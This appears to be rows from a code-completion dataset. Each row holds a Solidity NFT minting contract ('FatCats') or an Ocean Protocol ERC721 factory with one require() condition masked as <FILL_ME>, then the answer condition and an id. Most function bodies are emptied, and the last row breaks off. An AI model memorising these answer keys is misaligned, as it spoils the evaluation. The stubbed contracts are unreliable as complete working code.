uint256 public s_randomWords;
uint256 public s_requestId;
/**
*
*
**********COLLECTION DATA*********
*
*
*/
using Strings for uint256;
// Merkle root
bytes32 public merkleRoot;
// Max supply
uint256 public maxSupply = 5000;
// Token price in ether
uint256 public price = 0.08 ether;
// Max wallet step 1
uint256 public maxNftByWallet1 = 2;
// Max wallet step 2
uint256 public maxNftByWallet2 = 10;
// Team wallet
address payable team;
// Proxy registery Address
address public proxyAddress;
// Shuffle flag
bool public shuffle = false;
// paused flag
bool public paused = true;
// Step 2 flag
bool public step_2 = false;
// Public Step flag
bool public publicStep = false;
// Reveal flag
bool public revealed = false;
// publicBurn flag
bool public publicBurnFlag = false;
// Collection Base URI
string public baseURI;
//Collection hidden URI
string public hideURI;
/**
* @dev Ensure the caller is in the whitelist
*/
modifier isWhitelisted(bytes32[] calldata merkleProof) {
}
/**
* @dev Ensure the caller is not a SC
*/
modifier isAUser() {
}
constructor(
string memory _collectionURI,
string memory _hiddenURI,
bytes32 _merkleRoot,
address payable _team,
uint64 subscriptionId,
address _proxyAddress
) ERC721A("FatCats", "FCD") VRFConsumerBaseV2(vrfCoordinator) {
}
receive() external payable {}
/**
*
*
**********MINT FUNCTIONS*********
*
*
*/
/**
* @dev mintStep1
*
* Requirements:
*
* Contract must be unpaused
* Contract must be in sale step 1
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep1(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
require(!paused, "Contract paused");
require(!step_2 && !publicStep, "Wrong step");
require(
amountToMint + _numberMinted(msg.sender) <= maxNftByWallet1,
"Requet too much for a wallet at this stage"
);
require(<FILL_ME>)
require(msg.value >= price * amountToMint, "Insufficient funds");
_safeMint(msg.sender, amountToMint);
}
/**
* @dev mintStep2
*
* Requirements:
*
* Contract must be in sale step 2
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep2(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
}
/**
* @dev publicMint
*
* Requirements:
*
* Contract must be in public mint step
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
*
*/
function publicMint(uint256 amountToMint) external payable isAUser {
}
/**
*
*
**********ADMIN OPERATIONS*********
*
*
*/
/**
* @dev Change the `merkleRoot` of the token for `_newMerkleRoot`
*/
function updateMerleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/**
* @dev Change the contract to step 2`
*/
function setStep2() external onlyOwner {
}
/**
* @dev Change the contract to public step`
*/
function setPublicStep() external onlyOwner {
}
/**
* @dev Change the `maxNftByWallet1` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet1(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `maxByWallet2` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet2(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `price` of the token for `_newPrice`
*/
function setNewPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @dev Reveal the final URI
*/
function revealNFT() external onlyOwner {
}
/**
* @dev Pause / Unpause the SC
*/
function switchPause() external onlyOwner {
}
/**
* @dev Allow public burn
*/
function openPublicBurn() external onlyOwner {
}
/**
* @dev Decrease the supply
*/
function updateMaxSupply(uint256 _newSupply) external onlyOwner {
}
/**
* @dev Give away attribution
*
* Requirements:
*
* The caller must be the owner
* The recipient must be different than 0
* The amount of token requested must be within the reverse
* The amount requested must be supperior to 0
*
*/
function giveAway(address to, uint256 amountToMint) external onlyOwner {
}
/**
* @dev Team withdraw on the `team` wallet
*/
function withdraw() external onlyOwner {
}
/**
* @dev Burn token
*/
function burn(uint256 tokenId) public virtual onlyOwner {
}
/**
* @dev Burn token public
*/
function publicBurn(uint256 tokenId) public virtual {
}
/**
* @dev Set the base URI
*
* The style MUST BE as follow : "ipfs://QmdsaXXXXXXXXXXXXXXXXXXXX7epJF/"
*/
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
/**
* @dev Set the hiddenURI just in case
*
*/
function setHidden(string memory _newHiddenUri) public onlyOwner {
}
/**
*
*
**********TOKEN DATA*********
*
*
*/
/**
* @dev Return an array of token Id owned by `owner`
*/
function getWallet(address _owner) public view returns (uint256[] memory) {
}
/**
* @dev ERC721 standardd
* @return baseURI value
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Return the URI of the NFT
* @notice return the hidden URI then the Revealed JSON when the Revealed param is true
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
*
*
**********OS*********
*
*
*/
/**
* @dev Set the proxyAddress
*/
function setProxyAddress(address _proxyAddress) external onlyOwner {
}
/**
* @dev Override isApprovedForAll
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
/**
*
*
**********RANDOM NUMBERS*********
*
*
*/
function requestRandomWords() external onlyOwner {
}
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
}
}
| amountToMint+totalSupply()<=maxSupply,"Request superior max Supply" | 84,390 | amountToMint+totalSupply()<=maxSupply |
"Wrong step" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title Mint InCreation collection
* @notice Contract in creation
*/
contract FatCats is ERC721A, VRFConsumerBaseV2, Ownable {
/**
*
*
**********CHAINLINK DATA*********
*
*
*/
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
bytes32 keyHash =
0xff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92;
uint32 callbackGasLimit = 100000;
uint16 requestConfirmations = 3;
uint32 numWords = 1;
uint256 public s_randomWords;
uint256 public s_requestId;
/**
*
*
**********COLLECTION DATA*********
*
*
*/
using Strings for uint256;
// Merkle root
bytes32 public merkleRoot;
// Max supply
uint256 public maxSupply = 5000;
// Token price in ether
uint256 public price = 0.08 ether;
// Max wallet step 1
uint256 public maxNftByWallet1 = 2;
// Max wallet step 2
uint256 public maxNftByWallet2 = 10;
// Team wallet
address payable team;
// Proxy registery Address
address public proxyAddress;
// Shuffle flag
bool public shuffle = false;
// paused flag
bool public paused = true;
// Step 2 flag
bool public step_2 = false;
// Public Step flag
bool public publicStep = false;
// Reveal flag
bool public revealed = false;
// publicBurn flag
bool public publicBurnFlag = false;
// Collection Base URI
string public baseURI;
//Collection hidden URI
string public hideURI;
/**
* @dev Ensure the caller is in the whitelist
*/
modifier isWhitelisted(bytes32[] calldata merkleProof) {
}
/**
* @dev Ensure the caller is not a SC
*/
modifier isAUser() {
}
constructor(
string memory _collectionURI,
string memory _hiddenURI,
bytes32 _merkleRoot,
address payable _team,
uint64 subscriptionId,
address _proxyAddress
) ERC721A("FatCats", "FCD") VRFConsumerBaseV2(vrfCoordinator) {
}
receive() external payable {}
/**
*
*
**********MINT FUNCTIONS*********
*
*
*/
/**
* @dev mintStep1
*
* Requirements:
*
* Contract must be unpaused
* Contract must be in sale step 1
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep1(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
}
/**
* @dev mintStep2
*
* Requirements:
*
* Contract must be in sale step 2
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep2(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
require(!paused, "Contract paused");
require(<FILL_ME>)
require(
amountToMint + _numberMinted(msg.sender) <= maxNftByWallet2,
"Requet too much for a wallet at this stage"
);
require(
amountToMint + totalSupply() <= maxSupply,
"Request superior max Supply"
);
require(msg.value >= price * amountToMint, "Insufficient funds");
_safeMint(msg.sender, amountToMint);
}
/**
* @dev publicMint
*
* Requirements:
*
* Contract must be in public mint step
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
*
*/
function publicMint(uint256 amountToMint) external payable isAUser {
}
/**
*
*
**********ADMIN OPERATIONS*********
*
*
*/
/**
* @dev Change the `merkleRoot` of the token for `_newMerkleRoot`
*/
function updateMerleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/**
* @dev Change the contract to step 2`
*/
function setStep2() external onlyOwner {
}
/**
* @dev Change the contract to public step`
*/
function setPublicStep() external onlyOwner {
}
/**
* @dev Change the `maxNftByWallet1` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet1(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `maxByWallet2` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet2(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `price` of the token for `_newPrice`
*/
function setNewPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @dev Reveal the final URI
*/
function revealNFT() external onlyOwner {
}
/**
* @dev Pause / Unpause the SC
*/
function switchPause() external onlyOwner {
}
/**
* @dev Allow public burn
*/
function openPublicBurn() external onlyOwner {
}
/**
* @dev Decrease the supply
*/
function updateMaxSupply(uint256 _newSupply) external onlyOwner {
}
/**
* @dev Give away attribution
*
* Requirements:
*
* The caller must be the owner
* The recipient must be different than 0
* The amount of token requested must be within the reverse
* The amount requested must be supperior to 0
*
*/
function giveAway(address to, uint256 amountToMint) external onlyOwner {
}
/**
* @dev Team withdraw on the `team` wallet
*/
function withdraw() external onlyOwner {
}
/**
* @dev Burn token
*/
function burn(uint256 tokenId) public virtual onlyOwner {
}
/**
* @dev Burn token public
*/
function publicBurn(uint256 tokenId) public virtual {
}
/**
* @dev Set the base URI
*
* The style MUST BE as follow : "ipfs://QmdsaXXXXXXXXXXXXXXXXXXXX7epJF/"
*/
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
/**
* @dev Set the hiddenURI just in case
*
*/
function setHidden(string memory _newHiddenUri) public onlyOwner {
}
/**
*
*
**********TOKEN DATA*********
*
*
*/
/**
* @dev Return an array of token Id owned by `owner`
*/
function getWallet(address _owner) public view returns (uint256[] memory) {
}
/**
* @dev ERC721 standardd
* @return baseURI value
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Return the URI of the NFT
* @notice return the hidden URI then the Revealed JSON when the Revealed param is true
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
*
*
**********OS*********
*
*
*/
/**
* @dev Set the proxyAddress
*/
function setProxyAddress(address _proxyAddress) external onlyOwner {
}
/**
* @dev Override isApprovedForAll
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
/**
*
*
**********RANDOM NUMBERS*********
*
*
*/
function requestRandomWords() external onlyOwner {
}
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
}
}
| step_2&&!publicStep,"Wrong step" | 84,390 | step_2&&!publicStep |
"Requet too much for a wallet at this stage" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title Mint InCreation collection
* @notice Contract in creation
*/
contract FatCats is ERC721A, VRFConsumerBaseV2, Ownable {
/**
*
*
**********CHAINLINK DATA*********
*
*
*/
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
bytes32 keyHash =
0xff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92;
uint32 callbackGasLimit = 100000;
uint16 requestConfirmations = 3;
uint32 numWords = 1;
uint256 public s_randomWords;
uint256 public s_requestId;
/**
*
*
**********COLLECTION DATA*********
*
*
*/
using Strings for uint256;
// Merkle root
bytes32 public merkleRoot;
// Max supply
uint256 public maxSupply = 5000;
// Token price in ether
uint256 public price = 0.08 ether;
// Max wallet step 1
uint256 public maxNftByWallet1 = 2;
// Max wallet step 2
uint256 public maxNftByWallet2 = 10;
// Team wallet
address payable team;
// Proxy registery Address
address public proxyAddress;
// Shuffle flag
bool public shuffle = false;
// paused flag
bool public paused = true;
// Step 2 flag
bool public step_2 = false;
// Public Step flag
bool public publicStep = false;
// Reveal flag
bool public revealed = false;
// publicBurn flag
bool public publicBurnFlag = false;
// Collection Base URI
string public baseURI;
//Collection hidden URI
string public hideURI;
/**
* @dev Ensure the caller is in the whitelist
*/
modifier isWhitelisted(bytes32[] calldata merkleProof) {
}
/**
* @dev Ensure the caller is not a SC
*/
modifier isAUser() {
}
constructor(
string memory _collectionURI,
string memory _hiddenURI,
bytes32 _merkleRoot,
address payable _team,
uint64 subscriptionId,
address _proxyAddress
) ERC721A("FatCats", "FCD") VRFConsumerBaseV2(vrfCoordinator) {
}
receive() external payable {}
/**
*
*
**********MINT FUNCTIONS*********
*
*
*/
/**
* @dev mintStep1
*
* Requirements:
*
* Contract must be unpaused
* Contract must be in sale step 1
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep1(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
}
/**
* @dev mintStep2
*
* Requirements:
*
* Contract must be in sale step 2
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep2(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
require(!paused, "Contract paused");
require(step_2 && !publicStep, "Wrong step");
require(<FILL_ME>)
require(
amountToMint + totalSupply() <= maxSupply,
"Request superior max Supply"
);
require(msg.value >= price * amountToMint, "Insufficient funds");
_safeMint(msg.sender, amountToMint);
}
/**
* @dev publicMint
*
* Requirements:
*
* Contract must be in public mint step
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
*
*/
function publicMint(uint256 amountToMint) external payable isAUser {
}
/**
*
*
**********ADMIN OPERATIONS*********
*
*
*/
/**
* @dev Change the `merkleRoot` of the token for `_newMerkleRoot`
*/
function updateMerleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/**
* @dev Change the contract to step 2`
*/
function setStep2() external onlyOwner {
}
/**
* @dev Change the contract to public step`
*/
function setPublicStep() external onlyOwner {
}
/**
* @dev Change the `maxNftByWallet1` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet1(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `maxByWallet2` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet2(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `price` of the token for `_newPrice`
*/
function setNewPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @dev Reveal the final URI
*/
function revealNFT() external onlyOwner {
}
/**
* @dev Pause / Unpause the SC
*/
function switchPause() external onlyOwner {
}
/**
* @dev Allow public burn
*/
function openPublicBurn() external onlyOwner {
}
/**
* @dev Decrease the supply
*/
function updateMaxSupply(uint256 _newSupply) external onlyOwner {
}
/**
* @dev Give away attribution
*
* Requirements:
*
* The caller must be the owner
* The recipient must be different than 0
* The amount of token requested must be within the reverse
* The amount requested must be supperior to 0
*
*/
function giveAway(address to, uint256 amountToMint) external onlyOwner {
}
/**
* @dev Team withdraw on the `team` wallet
*/
function withdraw() external onlyOwner {
}
/**
* @dev Burn token
*/
function burn(uint256 tokenId) public virtual onlyOwner {
}
/**
* @dev Burn token public
*/
function publicBurn(uint256 tokenId) public virtual {
}
/**
* @dev Set the base URI
*
* The style MUST BE as follow : "ipfs://QmdsaXXXXXXXXXXXXXXXXXXXX7epJF/"
*/
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
/**
* @dev Set the hiddenURI just in case
*
*/
function setHidden(string memory _newHiddenUri) public onlyOwner {
}
/**
*
*
**********TOKEN DATA*********
*
*
*/
/**
* @dev Return an array of token Id owned by `owner`
*/
function getWallet(address _owner) public view returns (uint256[] memory) {
}
/**
* @dev ERC721 standardd
* @return baseURI value
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Return the URI of the NFT
* @notice return the hidden URI then the Revealed JSON when the Revealed param is true
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
*
*
**********OS*********
*
*
*/
/**
* @dev Set the proxyAddress
*/
function setProxyAddress(address _proxyAddress) external onlyOwner {
}
/**
* @dev Override isApprovedForAll
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
/**
*
*
**********RANDOM NUMBERS*********
*
*
*/
function requestRandomWords() external onlyOwner {
}
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
}
}
| amountToMint+_numberMinted(msg.sender)<=maxNftByWallet2,"Requet too much for a wallet at this stage" | 84,390 | amountToMint+_numberMinted(msg.sender)<=maxNftByWallet2 |
"ERC721DTFactory: ERC721Token Template disabled" | pragma solidity 0.8.12;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import "./utils/Deployer.sol";
import "./interfaces/IFactory.sol";
import "./interfaces/IERC721Template.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IERC20Template.sol";
import "./interfaces/IERC20.sol";
import "./utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title DTFactory contract
* @author Ocean Protocol Team
*
* @dev Implementation of Ocean datatokens Factory
*
* DTFactory deploys datatoken proxy contracts.
* New datatoken proxy contracts are links to the template contract's bytecode.
* Proxy contract functionality is based on Ocean Protocol custom implementation of ERC1167 standard.
*/
contract ERC721Factory is Deployer, Ownable, ReentrancyGuard, IFactory {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private currentNFTCount;
address private erc20Factory;
uint256 private nftTemplateCount;
struct Template {
address templateAddress;
bool isActive;
}
mapping(uint256 => Template) public nftTemplateList;
mapping(uint256 => Template) public templateList;
mapping(address => address) public erc721List;
mapping(address => bool) public erc20List;
event NFTCreated(
address newTokenAddress,
address indexed templateAddress,
string tokenName,
address indexed admin,
string symbol,
string tokenURI,
bool transferable,
address indexed creator
);
uint256 private currentTokenCount = 0;
uint256 public templateCount;
address public router;
event Template721Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
event Template20Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
//stored here only for ABI reasons
event TokenCreated(
address indexed newTokenAddress,
address indexed templateAddress,
string name,
string symbol,
uint256 cap,
address creator
);
event NewPool(
address poolAddress,
address ssContract,
address baseTokenAddress
);
event NewFixedRate(bytes32 exchangeId, address indexed owner, address exchangeContract, address indexed baseToken);
event NewDispenser(address dispenserContract);
event DispenserCreated( // emited when a dispenser is created
address indexed datatokenAddress,
address indexed owner,
uint256 maxTokens,
uint256 maxBalance,
address allowedSwapper
);
// erc721 transfer event, stored here just for readability
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev constructor
* Called on contract deployment. Could not be called with zero address parameters.
* @param _template721 refers to the address of ERC721 template
* @param _template refers to the address of a deployed datatoken contract.
* @param _router router contract address
*/
constructor(
address _template721,
address _template,
address _router
) {
}
/**
* @dev deployERC721Contract
*
* @param name NFT name
* @param symbol NFT Symbol
* @param _templateIndex template index we want to use
* @param additionalERC20Deployer if != address(0), we will add it with ERC20Deployer role
* @param additionalMetaDataUpdater if != address(0), we will add it with updateMetadata role
* @param transferable if NFT is transferable. Cannot be changed afterwards
* @param owner owner of the NFT
*/
function deployERC721Contract(
string memory name,
string memory symbol,
uint256 _templateIndex,
address additionalERC20Deployer,
address additionalMetaDataUpdater,
string memory tokenURI,
bool transferable,
address owner
) public returns (address token) {
require(
_templateIndex <= nftTemplateCount && _templateIndex != 0,
"ERC721DTFactory: Template index doesnt exist"
);
Template memory tokenTemplate = nftTemplateList[_templateIndex];
require(<FILL_ME>)
require(
owner!=address(0),
"ERC721DTFactory: address(0) cannot be owner"
);
token = deploy(tokenTemplate.templateAddress);
require(
token != address(0),
"ERC721DTFactory: Failed to perform minimal deploy of a new token"
);
erc721List[token] = token;
emit NFTCreated(token, tokenTemplate.templateAddress, name, owner, symbol, tokenURI, transferable, msg.sender);
currentNFTCount += 1;
IERC721Template tokenInstance = IERC721Template(token);
require(
tokenInstance.initialize(
owner,
name,
symbol,
address(this),
additionalERC20Deployer,
additionalMetaDataUpdater,
tokenURI,
transferable
),
"ERC721DTFactory: Unable to initialize token instance"
);
}
/**
* @dev get the current token count.
* @return the current token count
*/
function getCurrentNFTCount() external view returns (uint256) {
}
/**
* @dev get the token template Object
* @param _index template Index
* @return the template struct
*/
function getNFTTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new NFT Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function add721TokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev reactivate a disabled NFT Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivate721TokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev disable an NFT Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disable721TokenTemplate(uint256 _index) external onlyOwner {
}
function getCurrentNFTTemplateCount() external view returns (uint256) {
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function _isContract(address account) internal view returns (bool) {
}
struct tokenStruct{
string[] strings;
address[] addresses;
uint256[] uints;
bytes[] bytess;
address owner;
}
/**
* @dev Deploys new datatoken proxy contract.
* This function is not called directly from here. It's called from the NFT contract.
An NFT contract can deploy multiple ERC20 tokens.
* @param _templateIndex ERC20Template index
* @param strings refers to an array of strings
* [0] = name
* [1] = symbol
* @param addresses refers to an array of addresses
* [0] = minter account who can mint datatokens (can have multiple minters)
* [1] = paymentCollector initial paymentCollector for this DT
* [2] = publishing Market Address
* [3] = publishing Market Fee Token
* @param uints refers to an array of uints
* [0] = cap_ the total ERC20 cap
* [1] = publishing Market Fee Amount
* @param bytess refers to an array of bytes, not in use now, left for future templates
* @return token address of a new proxy datatoken contract
*/
function createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess
) external returns (address token) {
}
function _createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess,
address owner
) internal returns (address token) {
}
function _createTokenStep2(address token, tokenStruct memory tokenData) internal {
}
/**
* @dev get the current ERC20token deployed count.
* @return the current token count
*/
function getCurrentTokenCount() external view returns (uint256) {
}
/**
* @dev get the current ERC20token template.
@param _index template Index
* @return the token Template Object
*/
function getTokenTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new ERC20Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function addTokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev disable an ERC20Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disableTokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev reactivate a disabled ERC20Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivateTokenTemplate(uint256 _index) external onlyOwner {
}
// if templateCount is public we could remove it, or set templateCount to private
function getCurrentTemplateCount() external view returns (uint256) {
}
struct tokenOrder {
address tokenAddress;
address consumer;
uint256 serviceIndex;
IERC20Template.providerFee _providerFee;
IERC20Template.consumeMarketFee _consumeMarketFee;
}
/**
* @dev startMultipleTokenOrder
* Used as a proxy to order multiple services
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function startMultipleTokenOrder(
tokenOrder[] memory orders
) external nonReentrant {
}
struct reuseTokenOrder {
address tokenAddress;
bytes32 orderTxId;
IERC20Template.providerFee _providerFee;
}
/**
* @dev reuseMultipleTokenOrder
* Used as a proxy to order multiple reuses
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function reuseMultipleTokenOrder(
reuseTokenOrder[] memory orders
) external nonReentrant {
}
// helper functions to save number of transactions
/**
* @dev createNftWithErc20
* Creates a new NFT, then a ERC20,all in one call
* @param _NftCreateData input data for nft creation
* @param _ErcCreateData input data for erc20 creation
*/
function createNftWithErc20(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
/**
* @dev createNftWithErc20WithPool
* Creates a new NFT, then a ERC20, then a Pool, all in one call
* Use this carefully, because if Pool creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _PoolData input data for Pool Creation
*/
function createNftWithErc20WithPool(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
PoolData calldata _PoolData
) external nonReentrant returns (address erc721Address, address erc20Address, address poolAddress){
}
/**
* @dev createNftWithErc20WithFixedRate
* Creates a new NFT, then a ERC20, then a FixedRateExchange, all in one call
* Use this carefully, because if Fixed Rate creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _FixedData input data for FixedRate Creation
*/
function createNftWithErc20WithFixedRate(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
FixedData calldata _FixedData
) external nonReentrant returns (address erc721Address, address erc20Address, bytes32 exchangeId){
}
/**
* @dev createNftWithErc20WithDispenser
* Creates a new NFT, then a ERC20, then a Dispenser, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _DispenserData input data for Dispenser Creation
*/
function createNftWithErc20WithDispenser(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
DispenserData calldata _DispenserData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
struct MetaData {
uint8 _metaDataState;
string _metaDataDecryptorUrl;
string _metaDataDecryptorAddress;
bytes flags;
bytes data;
bytes32 _metaDataHash;
IERC721Template.metaDataProof[] _metadataProofs;
}
/**
* @dev createNftWithMetaData
* Creates a new NFT, then sets the metadata, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _MetaData input metadata
*/
function createNftWithMetaData(
NftCreateData calldata _NftCreateData,
MetaData calldata _MetaData
) external nonReentrant returns (address erc721Address){
}
function _pullUnderlying(
address erc20,
address from,
address to,
uint256 amount
) internal {
}
}
| tokenTemplate.isActive,"ERC721DTFactory: ERC721Token Template disabled" | 84,439 | tokenTemplate.isActive |
"ERC721DTFactory: Unable to initialize token instance" | pragma solidity 0.8.12;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import "./utils/Deployer.sol";
import "./interfaces/IFactory.sol";
import "./interfaces/IERC721Template.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IERC20Template.sol";
import "./interfaces/IERC20.sol";
import "./utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title DTFactory contract
* @author Ocean Protocol Team
*
* @dev Implementation of Ocean datatokens Factory
*
* DTFactory deploys datatoken proxy contracts.
* New datatoken proxy contracts are links to the template contract's bytecode.
* Proxy contract functionality is based on Ocean Protocol custom implementation of ERC1167 standard.
*/
